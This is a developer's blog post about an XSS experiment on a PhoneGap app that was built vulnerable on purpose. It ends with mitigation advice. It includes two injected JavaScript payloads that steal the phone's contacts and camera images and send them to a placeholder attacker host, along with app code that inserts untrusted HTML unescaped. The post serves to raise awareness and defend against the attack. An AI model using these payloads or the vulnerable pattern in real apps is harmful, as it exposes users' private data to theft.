PhoneGap XSS Vulnerabilities Visited

This post is about some research I did a couple of years ago on PhoneGap. PhoneGap is a mobile development framework utilizing HTML CSS and JavaScript.

The Problem

There are a number of mobile development platforms, Objective C/iOS, Java/Android, C#/Windows, Partridge/Pear Tree etc.. For many developers the differences in programming languages and platforms cause roadblocks in developing phone apps. For example, I am mainly a C# developer on the .NET Stack, and while there are many similarities between Java and C# moving away from C# to develop for Android is a hindrance. It’s not so much as a problem of language as much as it’s a problem of platform.

Many developers themselves don’t know the difference. Take for example Java as a language, I know Java as a language however I am not as fully aware of all the patterns, practices, packages etc.. that are available on the Java platform, and you only really get when you develop on that platform. Thus reading Java is fairly easy for me, but writing an application from scratch is more difficult.

The second issue is that Mobile web has a lot of limitations. For example you cannot access device functionality, and you must be connected to the internet. And most of all you don’t get the same experience, as you do when utilizing a native application though there have been many strides in this area.

The Goal

The goal is to converge towards a single platform. This has not been easy as each of the platform makers has an interest in keeping developers solely on their platform. Apple for example doesn’t want developers re-compiling their Android applications and have them work on iOS. The reason’s for this are obvious and understandable, each of the phone platforms would like a competitive advantage in having the most developers, and each would like to have apps in their ecosystem first.

The Solution

Convergence has taken two different roads. The first are platforms that centralize code into libraries and make those libraries accessible through front-end platforms. The main player in this arena is Xamarin. Xamarin is a platform that allows you to develop using C# and utilize your Xamarin application to deploy phone apps on iOS, Android and Windows. Xamarin utilizes an MVC framework (Model, View, Controller). The MVC Framework is notable here because it allows Xamarin to re-use business logic code to display different views which become your different phone applications (this is a little over simplification). So you write your code once, and then create different views for your different applications. The draw back here is that realistically (I may get in trouble for saying this) Xamarin doesn’t do much for you as long as you build your application correctly. What I mean is that the majority of your code should be in your data-services anyway and therefore your phone application is really just your presentation (view logic) which should be minimal. So unless you’re writing an application where the phone app is doing a lot of processing locally, Xamarin will not help much.

The other approach to a single development ecosystem is utilizing HTML, CSS and JavaScript. HTML is used for structure and organization, CSS for design, and JavaScript for everything else! And a lot of companies have jumped on this bandwagon.


mobilehtmlcompanies

(Yeah I know some of these companies have gone under but WTF did you expect? I told you I did this research a couple of years ago)

JavaScript! WOOOO!!

Lets setup the situation here…

Notice: I just want to let everyone know I love JavaScript, I think it’s a fantastic language. It has been the language I have used consistently the longest (for 17 years). I’ve been writing JavaScript since you called it Java. So all you JavaScript puritans that are reading this, please take it lightly.

JavaScript is a confused language! In some ways JavaScript is an object oriented language, but then in other ways it’s a functional language like LISP (maybe not like LISP but you get what I mean).

JavaScript is Prototype Based. The key thing to know about JavaScript is that everything is an object (EVERYTHING!). Meaning that your functions are also objects and can be passed around like other objects (Delegates anyone? eh? eh?). Because everything is treated as an object (forgive me if I’m oversimplifying), you can override pretty much anything you want. For example the following is completely valid.

var alert = function(m){ console.log(m) }

Even though alert is a per-defined method in JavaScript we’ve now given it new meaning. Another important thing is there is an All Powerful “eval” method. This method can allow us to execute arbitrary code at runtime by passing a string of JavaScript code into it. This is going to be very important later on.

Cross Site Scripting (XSS)

Lets talk about XSS, because this is a very confusing topic to most developers. Many times developers don’t even think that XSS is a problem for them, it’s their users fault of their users for clicking a link they shouldn’t have. Well… what I’ll show you is that XSS can mess you up pretty bad if you’re not careful.

XSS utilizes security vulnerabilities in web applications to execute client-side code (JavaScript) on the end-users machine. Many times XSS vulnerabilities come on top of other vulnerabilities which we will discuss partially. There are two primary methods of XSS and we’ll discuss here.

Active (Reflected) Attack

In an active attack, the user must take some action for an XSS attack to occur. For example if we have a page that’s known to be vulnerable to an XSS attack and we know a particular person is a user of said application you can send them a link with the active attack hidden within the link.
For example http://itrustthissite.com?name=.

Passive (Persisted) Attack

Passive attacks are much more dangerous and are typically used in conjunction with SQL Injection attacks. The reason they’re so much more dangerous is that they don’t rely on the user to take any action other than visiting the infected site. Typically data that’s stored in a data store is poisoned with the client-side script, and is rendered when the user logs into the site. Scripts will execute automatically and in most cases run in the background without the user even knowing this.

Still don’t think XSS is a big deal?

The following graph shows percentage of vulnerabilities in web applications today. XSS constitutes the largest share of the pie. Besides this, I’m going to show you how XSS can really mess you up when using a JavaScript framework for your mobile phone app.


percentvulnerabilities

(Source: The Web Application Security Consortium / Web Application Security Statistics)

Same-Origin Policy

The Same Origin policy restricts developers ability to make cross-domain requests. If a developer wants to access a resource, it must be on the same domain (including the same sub-domain). AJAX Requests can only be made to the same domain. You cannot access the DOM of a frame that is part of another domain. This is somewhat deffective against client-side stealing of data via XSS vulnerabilities however it’s much more effective at annoying web developers than deffending against client side stealing.

…As with all things there are ways around

Certain tags don’t follow the same-origin policy, so if these are injected into the DOM at run-time they will not follow the Same-Origin Policy. This is the same concept that is used in JSON with padding (JSONP). Basically you just inject a script tag at run-time to another domain and return data, the other domain will “pad” the result with a call back method.

Example Javascript

<script src=“…example.php?callback=alert”></script>

Example PHP Script

<? echo $.GET[“callback”] . “(‘hello world’)”; ?>

result

alert('hello world')

 

Because HTML,CSS and JavaScript based frameworks run on your phone they can’t necessarily follow the same-origin policy, the main reason is that it needs to call out to your API’s to get data and guess what! Your API’s are not on the phone, so you need the ability to call out to get the data…

PhoneGap Framework

PhoneGap was acquired by Adobe. Basically what it does is provides a single base class to inherit from, this is your “launcher”. It launches an initial HTML file (typically just index.html). And most of your development is done through HTML, CSS and JavaScript. Now to be clear, PhoneGap has stated in their documentation that apps running the framework can be vulnerable to XSS but that it’s the developers job to ensure their application is secure. While I agree that developers absolutely need to secure their applications, I think that platform companies should provide some base security in their platforms.

With PhoneGap access to the phone’s hardware is done through a JavaScript API.

The goals of my experiment were as follows:

  • See if it’s possible to run JavaScript remotely from within phonegap
  • See if it’s possible to access the phone’s functionality remotly
  • See if it’s possible to launch an XSS attack to mine personal data from the phone and send them to a third party.
NOTICE! Do not ever do this in a production environment, nor on a live application. The following is an experiment I had done locally on my machine and my own phone in a very controlled environment. You’ve been warned.

The Site

I decided to setup a fake site (NerdyWall). Basically it’s just a simple ASP.NET MVC website that allows front-end users to post to a “wall”. I turned off request validation to the site to allow HTML within the post, but I did not check for XSS. And if you think this doesn’t happen know that this exact situation happened to StackOverflow.com that’s why you now use their tags to format your posts.

nerdywall

The App

I created an app that simply used the NerdyWall website API to get data. I used JQuery’s $.ajax method to load data from the site into a div tag on the app. Data was not validated for XSS, and controller does not encode wall posts.

App.java

package com.phonegap.helloworld;

import android.app.Activity;
import android.os.Bundle;
import com.phonegap.*;

public class App extends DroidGap {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        super.loadUrl("file:///android_asset/www/index.html");
    }
}

index.html

<!DOCTYPE HTML>
 <html>
 <head>
 <title>Nerdy Wall</title>
 <link rel="stylesheet" href="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.css" />
 
 <script type="text/javascript" charset="utf-8" src="phonegap-1.2.0.js"></script>
 <script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.1.min.js"></script>
 <script src="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.js"></script>
  
 <script type="text/javascript">
 	document.addEventListener("deviceready", onDeviceReady, false);
 	 	
	function onDeviceReady() {        	        
	} 	    
	 
	var getPage = function()
	{
		$.mobile.showPageLoadingMsg();	
		var page = $(this).attr('data-page')
		
		$.ajax({ 
		  type: "GET", 
		  url: "http://www.nerdywall.com/home/data?page=" + page, 
		dataType: "html" ,
		  success: function(d){
		  	$('#returned-information').html(d);
		  	afterAjax();
		  	$.mobile.hidePageLoadingMsg();   
		  }
		}); 
	}
	var afterAjax = function(){
		$('input[type=button]').button();
	  	$('ul').listview();		
	}
	
	$(function(){
		$('.get-page').live('click', getPage);
		$('.details-link').live('click', function(a){
			a.preventDefault();
			var url = $(this).attr('href');
			$.mobile.showPageLoadingMsg();	
			$.ajax({ 
				type: "GET", 
				url: url, 
				dataType: "html" ,
				success: function(d){
					$('#returned-information').html(d);
					afterAjax(); 			
					$.mobile.hidePageLoadingMsg();  
			  	}
			}); 		
		}); 
		
		$.mobile.showPageLoadingMsg();
		$.ajax({ 
			type: "GET", 
			url: "http://www.nerdywall.com/home/data", 
			dataType: "html" ,
		  	success: function(d){
		  	$('#returned-information').html(d);
		  	afterAjax();
		  	$.mobile.hidePageLoadingMsg();   
		  }
		}); 
	});
 </script>
 <meta name="viewport" content="width=device-width, initial-scale=1"> 

 </head>
 <body>
 <div data-role="page" data-title="Nerdy App">  
 	<div data-role="header" data-theme="b" data-position="fixed">
 	<h1>Nerdy Wall App</h1>
 	</div> 
	<div id="returned-information" data-theme="c">
	</div> 
	<div data-role="footer">
	</div> 
</div> 
 </body>
 </html>

The offending code is the following:

$.ajax({ 
	type: "GET", 
	url: "http://www.nerdywall.com/home/data", 
	dataType: "html" ,
  	success: function(d){
  	$('#returned-information').html(d);
  	afterAjax();
  	$.mobile.hidePageLoadingMsg();   
  }
}); 

Because the dataType here is set to HTML jquery will parse the result. Which means any javascript that’s returned will be exdecuted.

The Evil Maliciousness

eyes

The site’s XSS vulnerabilities are exploited by uploading an script that calls PhoneGap’s API. The script specifically steals the users contacts from the users of Nerdy App and sends them to a third party.

The post below simply gets all the contacts when the device is ready, and sends them to a third party.

var sendContacts = function(contacts)
{
        for (var i=0; i<contacts.length; i++) {       
		$.getJSON('http://{IP-OF-MALICIOUS-PAGE}/home/post?displayname=' + contacts[i].displayName);
        }
}

var checkContacts = function(){
	var options = new ContactFindOptions();        
	options.filter="";         
	var fields = ["displayName", "name"];        
	navigator.contacts.find(fields, sendContacts);   
}

document.addEventListener("deviceready", checkContacts, false);

The Result

For my experiment all contacts were stolen off the phone without a problem. The main conclusion here is that XSS can be incredibly dangerous on the phone utilizing these frameworks, even more so than on a website. I also ran an experiment to override a camera button action that took a picture and sent it to the third party site, again without a problem.

var sendPicture = function(imageData)
{
	$.post('http://{IP-OF-MALICIOUS-PAGE}/remotescripting/home/postpicture', {encodedPicture: imageData});
}

var checkPicture = function(){
	navigator.camera.getPicture(sendPicture, onFail, {quality: 25}); 
}

function onFail(message) {
    alert('Failed because: ' + message);
}

document.addEventListener("deviceready", checkPicture, false);

Oh Shit, what can I do?

With respect to XSS Vulnerabilities, obviously you need to make sure that as much as possible try to mitigate against XSS vulnerabilities ie. don’t allow users to post HTML to your site and/or your applications. If you do allow users always verify the HTML that’s posted, there are a lot of libraries out there. If you use the .NET Platform for your API’s and/or web front-ends you can check out the Microsoft Anti-XSS Library http://msdn.microsoft.com/en-us/security/aa973814.aspx.

If you use PhoneGap for your application development always remember to use PhoneGap’s domain whitelist feature http://docs.phonegap.com/en/2.3.0/guide_whitelist_index.md.html, this will restrict which domains your application can call out to which will go a long way. This feature isn’t on by default which I personally think is a mistake, but at the very least it’s there.

I didn’t check other frameworks such as RhoElements, WebOS or WIN JS, they may have the same vulnerabilities but regardless you should work carefully to ensure your applications aren’t susceptible to these types of attacks.

Good luck!